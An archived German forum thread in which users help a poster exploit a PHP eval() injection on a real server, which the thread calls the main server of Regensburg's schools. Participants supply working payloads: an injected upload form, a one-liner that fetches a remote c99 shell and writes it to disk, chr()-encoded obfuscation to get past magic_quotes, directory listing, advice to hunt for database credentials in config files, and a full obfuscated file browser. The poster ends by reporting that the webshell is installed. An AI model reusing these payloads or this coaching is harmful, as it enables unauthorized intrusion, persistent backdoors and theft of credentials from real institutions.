PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : eval - upload etc.



RikuXan
15.03.2010, 17:23
Ich wollte fragen, was ich mit eval alles machen kann, also wie tiefgehend ich PHP ausführen lassen kann. Ich habe im Moment ein PHP-Script, das einen GET-Parameter annimmt und wenn dieser gesetzt ist, die variable eval'd.
Kann ich in den Parameter ein Upload-Script schreiben und eine Datei hochladen? ( ja eine C99 )


$eval = $_GET['eval'];

if( isset($eval) )
{
eval($eval);
}MfG RikuXan

moppelito
15.03.2010, 17:43
http://php.net/manual/de/function.eval.php
Wie dort bereits steht kannst du damit nur aus einer Zerichenkette php-code auslesen, das hat nichts mit einem Uploadscript zutun.

EDIT: Wenn es das tun sollte!

Ken
15.03.2010, 17:56
Was heißt schon "wie tiefgehend"? Du kannst damit im Prinzip alles machen.

Ein Uploadscript würde dementsprechend so aussehen:
?eval=echo '<form action="" enctype="multipart/form-data" method="POST"><input name="file" type="file" /><input type="submit" /></form>'; if(isset($_FILES["file"])) { move_uploaded_file($_FILES['file']['tmp_name'], "./".$_FILES['file']['name']); echo '<a href="./'.$_FILES['file']['name'].'" target="_blank">OK!</a>'; }Wenn so was nicht funktionieren würde, hätten solche Sicherheitslücken ja keinerlei Wert, oder? So was wird auch ab und an als Hintertürchen in Skripte eingebaut.

RikuXan
15.03.2010, 17:57
Ja, aber man kann sich doch aus einer Zeichenkette PHP-Code ein Upload-Script basteln, bzw. dieses Script in die Variable schreiben, oder?

MfG RikuXan

Edit: Verdammt Ken hat noch davor gepostet :)
Genau so etwas meinte ich, nur bekomme ich da Fehlermeldungen wie:



Warning: Unexpected character in input: '\' (ASCII=92) state=1 in /opt/httpd/htdocs/wvsg/faecher/Informatik/Physik mit Java/Referate/13_Raketengleichung/PHP/index.php(9) : eval()'d code on line 1
Warning: Unexpected character in input: ''' (ASCII=39) state=1 in /opt/httpd/htdocs/wvsg/faecher/Informatik/Physik mit Java/Referate/13_Raketengleichung/PHP/index.php(9) : eval()'d code on line 1
Parse error: syntax error, unexpected '<' in /opt/httpd/htdocs/wvsg/faecher/Informatik/Physik mit Java/Referate/13_Raketengleichung/PHP/index.php(9) : eval()'d code on line 1
obwohl syntaktisch eigentlich alles richtig ist. Bzw. ich suche mal vielleicht fehlt ja irgendwo ein ' oder so etwas.

MfG RikuXan

Ken
15.03.2010, 18:02
Genau dafür ist es gedacht, sonst hätte ich

das "?eval=" am Anfang des PHP-Codes weggelassen und
Zeilenumbrüche dort gesetzt, wo sie Sinn machen würden, und nicht alles in einer Zeile gelassen.

Voraussetzung ist natürlich, dass keine Apostrophen und Anführungszeichen maskiert werden.

RikuXan
15.03.2010, 18:09
Ich bin jetzt leider nicht erfahren genug, um beurteilen zu können, ob das hier der Fall ist, aber was denkst du, werden sie maskiert oder nicht, anhand der Fehlermeldungen?

MfG RikuXan

VeN0m
15.03.2010, 18:13
Wieso eigentlich so kompliziert?
Also wenn dieses Script auf dem Server liegt, würde doch sowas wie

?eval=$f = fopen("c99.php","a"); fwrite($f,file_get_contents("http://bla/shell.txt"); fclose($f); genügen, um eine Shell auf den Space zu bekommen.

EDIT: Ich denke nicht, dass sie maskiert werden. Du kannst aber mal var_dump(ini_get("magic_quotes_gpc")); probieren.
Wenn da etwas wie bool(true) rauskommt, dann werden sie maskiert.
Aber von der Fehlermeldung her ist eher der Punkt vor dem \ falsch.

Ken
15.03.2010, 18:16
Ich bin jetzt leider nicht erfahren genug, um beurteilen zu können, ob das hier der Fall ist, aber was denkst du, werden sie maskiert oder nicht, anhand der Fehlermeldungen?Welcher Fehlermeldungen? Gib einfach ein paar Anführungszeichen und Apostrophe ein, und schau, ob irgendwo das Slash-Zeichen "\" auftaucht. Oder ob beispielsweise ?eval=echo "Hallo"; ein "Hallo" ausgibt, oder was auch immer.

Und ja, wenns Dir nur darum geht, ein Shell-Skript auf den Server zu bekommen, so ist VeN0ms Code natürlich kürzer, impliziert allerdings auch, dass der jeweilige Server Zugriff auf externe Seiten ermöglicht.

RikuXan
15.03.2010, 18:21
Warning: Unexpected character in input: '\' (ASCII=92) state=1 in /opt/httpd/htdocs/wvsg/faecher/Informatik/Physik mit Java/Referate/13_Raketengleichung/PHP/index.php(9) : eval()'d code on line 1

Parse error: syntax error, unexpected $end in /opt/httpd/htdocs/wvsg/faecher/Informatik/Physik mit Java/Referate/13_Raketengleichung/PHP/index.php(9) : eval()'d code on line 1Das war das Ergebnis von
eval=var_dump(ini_get("magic_quotes_gpc"));Wieso ist denn ein "unexpected \" , das steht ja im code nirgendswo, ist es dann nicht "dazuescaped" worden?

Und bei der fwrite-version kommt:


Warning: Unexpected character in input: '\' (ASCII=92) state=1 in /opt/httpd/htdocs/wvsg/faecher/Informatik/Physik mit Java/Referate/13_Raketengleichung/PHP/index.php(9) : eval()'d code on line 1

Parse error: syntax error, unexpected $end in /opt/httpd/htdocs/wvsg/faecher/Informatik/Physik mit Java/Referate/13_Raketengleichung/PHP/index.php(9) : eval()'d code on line 1BTW: Find ich toll, dass ihr mir so schnell und engagiert helft, beeindruckt mich wirklich, zwischendurch schonmal ein danke an alle für ihre Mühen :)

MfG RikuXan

Edit: Bei
?eval=echo "Hallo";kommen eben leider die selben Fehler, wie bei VeN0ms Script :/ ich weiß nicht woher der \ kommen soll.

VeN0m
15.03.2010, 18:32
Ja, das wurde dazu escaped.
Also sofern ' und " gefiltert werden (magic quotes gpc), wird ein \ hinzugefügt. Und dieses ist dann natürlich "unerwartet" (unexpected).
Dass man das umgehen kann, bezweifele ich.

RikuXan
15.03.2010, 18:38
Verdammt :)
Fällt euch irgendein Workaround ein, so etwas in der Art, alle " oder ' zu ersetzen durch andere Konstrukte?

MfG RikuXan

Edit: Also:

?eval=$str=magic_quotes_gpc; echo var_dump(ini_get($str));ergibt

string(1) "1"Also ist magic_quotes_gpc wohl an. Kann ich das vielleicht irgendwie mit ini_set() ausschalten?

Ken
15.03.2010, 18:59
Ich halte es für unwahrscheinlich, aber probier doch einfach mal das da:

$str=magic_quotes_gpc; ini_set($str, 0); echo "Test";

RikuXan
15.03.2010, 19:07
Also ohne die Anführungszeichen vor und nach Test wird alles ausgegeben, aber

$str=magic_quotes_gpc; echo ini_get($str);ergibt immer noch 1.
Kann man vielleicht alle Strings in Variablen ohne " schreiben und dann für fwrite etc. benutzen?

MfG RikuXan

Edit: So habe es jetzt geschafft per stringverknüpfungen und chr() für alle punkte slashes etc. mir die strings zu basteln. Habe dann VeN0ms Script genommen und alles ersetzt. Sieht so aus:

$rfile=http.chr(58).chr(47).chr(47).raku.chr(46).r o.chr(46).ohost.chr(46).de.chr(47).c99.chr(46).txt ; $lfile=c99.chr(46).php; $f = fopen($lfile,chr(97)); fwrite($f,file_get_contents($rfile)); fclose($f);Jetzt kommt aber als Error:

Warning: fopen(c99.php) [function.fopen]: failed to open stream: Permission denied in /opt/httpd/htdocs/wvsg/faecher/Informatik/Physik mit Java/Referate/13_Raketengleichung/PHP/index.php(9) : eval()'d code on line 1Was genau funktioniert jetzt nicht? chmod kann es doch nicht sein, da er ja nicht versucht in ein existierendes file zu schreiben, sondern eines zu erstellen, oder muss ich den Ordner chmodden?

Ken
15.03.2010, 21:16
Woaow, das ist ziemlich clever, Respekt, ich bin da irgendwie nicht drauf gekommen. ;) Probier mal, ob das folgende funktioniert und Google anzeigt:
?eval=$h = chr(104).chr(116).chr(116).chr(112).chr(58).chr(47 ).chr(47).chr(103).chr(111).chr(111).chr(103).chr( 108).chr(101).chr(46).chr(100).chr(101).chr(47); echo file_get_contents($h);Wenn nicht, hast Du wahrscheinlich keinen Zugriff auf externe Seiten. Aber wir finden sicher eine Lösung, ich konvertier mal nachher das Upload-Skript, ist ja nicht allzu schwer. Du kannst Dir so relativ einfach Strings in so ein chr()-Gebilde umwandeln:


for($i = 0; $i != strlen($str); $i++)
echo "chr(".ord($str[$i]).").";

RikuXan
15.03.2010, 21:56
Das Upload-Script hab ich schon konvertiert. mein Problem ist jetzt nur, dass mir fopen eben den Fehler angibt, von wegen nicht ausreichende berechtigungen um file zu erstellen und die chmod-Funktion bricht auch mit permission denied ab.
Und ja es zeigt google an, aber das Problem liegt ja nicht am remote-file lesen sondern am local-file schreiben ;)


$mode = a; $rfile=http.chr(58).chr(47).chr(47).roku.chr(46).r o.chr(46).ohost.chr(46).de.chr(47).c99.chr(46).txt ; $lfile=c99.chr(46).php; $f = fopen($lfile,$mode); fwrite($f,file_get_contents($rfile)); fclose($f);

MfG RikuXan

GregorSamsa
15.03.2010, 22:11
Schonmal versucht statt eine Datei mit der Shell anzulegen einfach die Shell per include(...) einzubinden?
Ist weniger Code und weniger zu escapen (nur der Pfad zu der Shell)...

RikuXan
15.03.2010, 22:14
RFI wäre ja einfach, aber allow_url_include ist off, also muss ich die shell zuerst auf den server bringen soweit ich mich noch erinnern kann oder? Kann aber auch sein, dass ich etwas ganz offensichtliches übersehe, hatte ewig keine R/LFI mehr.

MfG RikuXan

Ken
16.03.2010, 11:12
Also mit anderen Worten: Bei folgendem Code bekommst Du eine Berechtigungsfehlermeldung, ja?
?eval=$h = fopen(chr(116).chr(101).chr(115).chr(116).chr(46). chr(116).chr(120).chr(116), chr(97)); fwrite($h, chr(65).chr(66).chr(67)); fclose($h);
Du könntest Dir aus Juchs mal den Ordnerinhalt anzeigen lassen, und schauen, ob nicht irgendwo brisante Konfigurationsdateien lagern. Für eine Datenbankverbindung beispielsweise müssen ja irgendwo die Verbindungsdaten im Klartext lagern.

Inhalt des Ordners ausgeben:
?eval=$h = opendir(chr(46)); while($d = readdir($h)) echo $d.chr(60).chr(98).chr(114).chr(32).chr(47).chr(62 ); closedir($h);Anschließend könntest Du die Dateien mit file_get_contents ausgeben und mal nachschauen.

... und der Vollständigkeit halber nochmal das Upload-Skript. Bei mir funktioniert das auch optimal, aber da könnte es wieder Berechtigungsprobleme geben:
?eval=echo chr(60).chr(102).chr(111).chr(114).chr(109).chr(32 ).chr(97).chr(99).chr(116).chr(105).chr(111).chr(1 10).chr(61).chr(34).chr(34).chr(32).chr(101).chr(1 10).chr(99).chr(116).chr(121).chr(112).chr(101).ch r(61).chr(34).chr(109).chr(117).chr(108).chr(116). chr(105).chr(112).chr(97).chr(114).chr(116).chr(47 ).chr(102).chr(111).chr(114).chr(109).chr(45).chr( 100).chr(97).chr(116).chr(97).chr(34).chr(32).chr( 109).chr(101).chr(116).chr(104).chr(111).chr(100). chr(61).chr(34).chr(80).chr(79).chr(83).chr(84).ch r(34).chr(62).chr(60).chr(105).chr(110).chr(112).c hr(117).chr(116).chr(32).chr(110).chr(97).chr(109) .chr(101).chr(61).chr(34).chr(102).chr(105).chr(10 8).chr(101).chr(34).chr(32).chr(116).chr(121).chr( 112).chr(101).chr(61).chr(34).chr(102).chr(105).ch r(108).chr(101).chr(34).chr(32).chr(47).chr(62).ch r(60).chr(105).chr(110).chr(112).chr(117).chr(116) .chr(32).chr(116).chr(121).chr(112).chr(101).chr(6 1).chr(34).chr(115).chr(117).chr(98).chr(109).chr( 105).chr(116).chr(34).chr(32).chr(47).chr(62).chr( 60).chr(47).chr(102).chr(111).chr(114).chr(109).ch r(62); if(isset($_FILES[chr(102).chr(105).chr(108).chr(101)])) { move_uploaded_file($_FILES[chr(102).chr(105).chr(108).chr(101)][chr(116).chr(109).chr(112).chr(95).chr(110).chr(97 ).chr(109).chr(101)], chr(46).chr(47).$_FILES[chr(102).chr(105).chr(108).chr(101)][chr(110).chr(97).chr(109).chr(101)]); echo chr(60).chr(97).chr(32).chr(104).chr(114).chr(101) .chr(102).chr(61).chr(34).chr(46).chr(47).$_FILES[chr(102).chr(105).chr(108).chr(101)][chr(110).chr(97).chr(109).chr(101)].chr(34).chr(32).chr(116).chr(97).chr(114).chr(103 ).chr(101).chr(116).chr(61).chr(34).chr(95).chr(98 ).chr(108).chr(97).chr(110).chr(107).chr(34).chr(6 2).chr(79).chr(75).chr(33).chr(60).chr(47).chr(97) .chr(62); }

VeN0m
16.03.2010, 11:34
Das Verzeichnis ausgeben ist schonmal eine gute Idee.
Hast Du mal geprüft, ob nicht vielleicht bereits eine c99.php existiert, auf die Du keine Schreibrechte hast?


chmod("c99.php",0777);

Oder einen anderen Dateinamen versuchen.
Dass der Benutzer selbst nicht genug Rechte für fopen() hat glaube ich nicht.

RikuXan
16.03.2010, 14:41
Also, wie Ken schon vermutet hat ergibt der erste Code die normale fopen() Permission denied Fehlermeldung.
Der zweite Code ist nützlich, aber ich wüsste nicht genau nach welchen config-files ich ausschau halten sollte. Der Server läuft auf lenny - Debian mit PHP 5.2.6-1 . Vielleicht hat ja jemand ein Script zum Dumpen des ganzen Servers rumliegen :)
Code 3 ergibt:


Warning: move_uploaded_file(./r57.php) [function.move-uploaded-file]: failed to open stream: Permission denied in /opt/httpd/htdocs/wvsg/faecher/Informatik/Physik mit Java/Referate/13_Raketengleichung/PHP/index.php(9) : eval()'d code on line 1

Warning: move_uploaded_file() [function.move-uploaded-file]: Unable to move '/tmp/php1WnBH2' to './r57.php' in /opt/httpd/htdocs/wvsg/faecher/Informatik/Physik mit Java/Referate/13_Raketengleichung/PHP/index.php(9) : eval()'d code on line 1
OK!Und @ VeN0M: Nein, existiert auch nicht und außerdem bekomme ich bei chmod auch eine Permission denied, ist wahrscheinlich ftp-only chmod. Kann es auch nicht glauben, dass das erstellen von files verboten ist.

MfG RikuXan

Ken
16.03.2010, 21:57
Kann es auch nicht glauben, dass das erstellen von files verboten ist, aber man muss sagen, dass es der Hauptserver der gesamten Regensburger Schulen ist ;)Alter, Du bist ein echter Glückspilz. :D

Ich habe Dir mal einen kleinen Dateibrowser gebastelt. Damit kannst Du mal die Verzeichnisse untersuchen und hoffentlich auch die Dateien öffnen und durchforsten. Kommt drauf an, ob Du wenigstens Leseberechtigung hast, wenn Dir das Schreiben schon verwehrt bleibt (was eigentlich wahrscheinlich ist, denn das unsichere Skript greift doch sicherlich auch auf irgendwelche anderen Dateien zu).
?eval=$eval = chr(101).chr(118).chr(97).chr(108); $o = chr(46); if(isset($_GET[chr(100).chr(105).chr(114)]) and is_dir($_GET[chr(100).chr(105).chr(114)])) $o = $_GET[chr(100).chr(105).chr(114)]; $h = opendir($o); echo chr(60).chr(100).chr(105).chr(118).chr(32).chr(115 ).chr(116).chr(121).chr(108).chr(101).chr(61).chr( 34).chr(102).chr(108).chr(111).chr(97).chr(116).ch r(58).chr(32).chr(108).chr(101).chr(102).chr(116). chr(59).chr(34).chr(62); while($d = readdir($h)) echo is_dir($o.chr(47).$d) ? chr(60).chr(97).chr(32).chr(104).chr(114).chr(101) .chr(102).chr(61).chr(34).chr(63).$eval.chr(61).$_ GET[$eval].chr(38).chr(100).chr(105).chr(114).chr(61).$o.chr (47).$d.chr(34).chr(62).chr(91).chr(68).chr(73).ch r(82).chr(93).chr(32).$d.chr(60).chr(47).chr(97).c hr(62).chr(60).chr(98).chr(114).chr(32).chr(47).ch r(62) : chr(60).chr(97).chr(32).chr(104).chr(114).chr(101) .chr(102).chr(61).chr(34).chr(63).$eval.chr(61).$_ GET[$eval].chr(38).chr(100).chr(105).chr(114).chr(61).$o.chr (38).chr(102).chr(105).chr(108).chr(101).chr(61).$ o.chr(47).$d.chr(34).chr(62).chr(91).chr(70).chr(7 3).chr(76).chr(69).chr(93).chr(32).$d.chr(60).chr( 47).chr(97).chr(62).chr(60).chr(98).chr(114).chr(3 2).chr(47).chr(62); if(isset($_GET[chr(102).chr(105).chr(108).chr(101)]) and is_file($_GET[chr(102).chr(105).chr(108).chr(101)])) $src = file_get_contents($_GET[chr(102).chr(105).chr(108).chr(101)]); else $src = chr(45).chr(45).chr(45); echo chr(60).chr(47).chr(100).chr(105).chr(118).chr(62) .chr(60).chr(100).chr(105).chr(118).chr(32).chr(11 5).chr(116).chr(121).chr(108).chr(101).chr(61).chr (34).chr(102).chr(108).chr(111).chr(97).chr(116).c hr(58).chr(32).chr(114).chr(105).chr(103).chr(104) .chr(116).chr(59).chr(32).chr(119).chr(105).chr(10 0).chr(116).chr(104).chr(58).chr(32).chr(53).chr(4 8).chr(37).chr(59).chr(34).chr(62).chr(60).chr(116 ).chr(101).chr(120).chr(116).chr(97).chr(114).chr( 101).chr(97).chr(32).chr(115).chr(116).chr(121).ch r(108).chr(101).chr(61).chr(34).chr(119).chr(105). chr(100).chr(116).chr(104).chr(58).chr(32).chr(49) .chr(48).chr(48).chr(37).chr(59).chr(32).chr(104). chr(101).chr(105).chr(103).chr(104).chr(116).chr(5 8).chr(32).chr(49).chr(48).chr(48).chr(37).chr(59) .chr(34).chr(62).$src.chr(60).chr(47).chr(116).chr (101).chr(120).chr(116).chr(97).chr(114).chr(101). chr(97).chr(62).chr(60).chr(47).chr(100).chr(105). chr(118).chr(62); closedir($h);In dem Skript wird jetzt davon ausgegangen, dass man die eval-Lücke auch mit ?eval= aufruft. Wenn das nicht der Fall ist, müsstest Du den String $eval gleich am Anfang des Skriptes noch auf den richtigen Parameter anpassen. Schau einfach mal, wie das so funktioniert.

Und schon mal probiert, auf das "/tmp/php1WnBH2" zuzugreifen?

RikuXan
16.03.2010, 22:51
Wow, das ist praktisch, vielen Dank :) Funktioniert alles super, jetzt muss ich nur noch files mit wichtigem Inhalt finden. Das tmp-Verzeichnis hab ich noch nicht angesehen, muss mal schauen ob ichs finde. Wo sollte es denn normalerweise liegen?

MfG RikuXan

VeN0m
16.03.2010, 23:06
$_SERVER['TMP'] bzw. $_SERVER['TEMP'] enthält den Pfad zum temporären Verzeichnis.

RikuXan
18.03.2010, 13:09
So, vielen Dank für euer aller Hilfe :) , hab die shell jetzt auf dem Server, musste nur ein paar Levels nach oben gehn, da war dann nicht mehr denied ^_^ .

MfG RikuXan